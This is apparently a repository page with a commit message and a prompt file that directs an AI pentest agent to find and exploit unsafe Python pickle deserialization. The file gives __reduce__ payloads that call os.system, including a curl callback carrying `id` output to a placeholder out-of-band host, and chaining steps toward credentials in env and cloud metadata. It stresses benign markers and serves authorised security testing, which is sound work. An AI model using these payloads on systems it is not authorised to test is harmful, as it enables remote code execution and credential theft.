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CyberSecurityUPandClaude Opus 4.8
f82e3fe265
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
concrete playbooks: exact tools/commands, per-stack decision points, benign
proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
proof criteria, false-positive/pitfall sections, and chaining hooks. Every
contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.
web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1
harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
65 lines
3.9 KiB
Markdown
65 lines
3.9 KiB
Markdown
# Python Pickle Deserialization Specialist Agent
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## User Prompt
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You are testing **{target}** for Unsafe Python pickle deserialization.
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**Recon Context:**
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{recon_json}
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**METHODOLOGY:**
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### 1. Find pickle sinks & fingerprint the format
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- Where attacker bytes reach `pickle.loads`/`cPickle`/`joblib.load`/`numpy.load(allow_pickle=True)`/`pandas.read_pickle`/`torch.load`/`dill`/`shelve`/`celery` (pickle serializer).
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- Wire fingerprints (decode base64/hex first):
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- Protocol magic: `\x80\x02`..`\x80\x05` opening bytes; stream ends with `.` (STOP opcode).
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- Base64 pickles often begin `gAS`/`gAJ`/`gAR` (base64 of `\x80\x04`/`\x80\x02`).
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- Look in: session cookies, `state`/`data` params, cache values (Redis/Memcached), uploaded `.pkl`/`.npy`/`.pt` model files, message-queue bodies.
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- DECISION: is it REALLY pickle vs JSON/msgpack? Confirm opcode bytes. Flask default sessions are JSON (itsdangerous) — NOT pickle; do not misreport.
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- Note the framework: a Django/Flask cache backend set to `PickleSerializer`, Celery `task_serializer='pickle'`, or an ML endpoint loading user-supplied model files are the classic real sinks.
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### 2. Craft payload (benign existence check first, then proof)
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- Step A — prove it deserializes at all with a NON-executing shape, or an OOB-only probe:
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- `__reduce__` returning `(os.system,("nslookup <nonce>.oob.example",))` where `<nonce>` is per-attempt and unique.
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- Step B — semi-blind confirmation, benign single read:
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- `__reduce__` returning `(subprocess.check_output,(["id"],))` or `(os.system,("id > /tmp/<nonce>",))` when output is not reflected.
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- Minimal generator (illustrative, benign):
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```python
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import pickle, os
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class E:
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def __reduce__(self): return (os.system, ("curl http://<nonce>.oob.example/`id`",))
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print(pickle.dumps(E()).hex()) # re-encode to the wire format the sink expects
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```
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- Re-encode EXACTLY as the sink reads it (base64 cookie value, raw body, uploaded file). Preserve any signing/HMAC wrapper — if signed (itsdangerous, HMAC cookie), find the key leak first; a bad signature means the payload never reaches `loads`.
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### 3. Confirm (unique marker, never inference)
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- Blind: OOB DNS/HTTP hit carrying the per-attempt nonce — correlate the exact nonce to THIS payload.
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- Semi-blind: `id`/`hostname` output reflected into a response field or a readable file.
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- No callback AND no output ⇒ NOT proven. A 500/stack trace mentioning `unpickle` is suggestive, not proof.
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### 4. False positives & pitfalls
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- Signed cookie (`itsdangerous.BadSignature`) blocks tampering — report the signing scheme, not RCE, unless you have the key.
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- App catches the exception and returns 200 — check for the OOB hit regardless of HTTP status.
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- Sandboxed/`RestrictedUnpickler` (`find_class` allowlist) → gadget refused; note it and stop.
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### 5. Chaining hooks
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- Confirmed exec → creds from `env`/config, pivot host, cloud metadata (SSRF from the box).
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- A leaked signing key from another finding → unlocks this sink; consumes `chains_from`.
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### 5. Report Format
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For each CONFIRMED finding:
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```
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FINDING:
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- Title: Python Pickle Deserialization Specialist at [endpoint]
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- Severity: Critical
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- CWE: CWE-502
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- Endpoint: [full URL]
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- Vector: [parameter/header/flow]
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- Payload: [exact payload/command]
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- Evidence: [proof of exploitation]
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- Impact: Remote code execution on unpickling attacker data
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- Remediation: Never unpickle untrusted data, use JSON/typed schemas, sign payloads
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```
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## System Prompt
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You are a pickle specialist. Report only with confirmed execution (OOB callback carrying your per-attempt nonce, or reflected command output). Suspected pickle without a firing payload is not a finding. First prove the sink deserializes with a benign OOB probe before any command read; keep every command benign (`id`, `hostname`, a unique-nonce OOB ping) — never destructive. If the stream is signed and you lack the key, report the signing scheme, not RCE.
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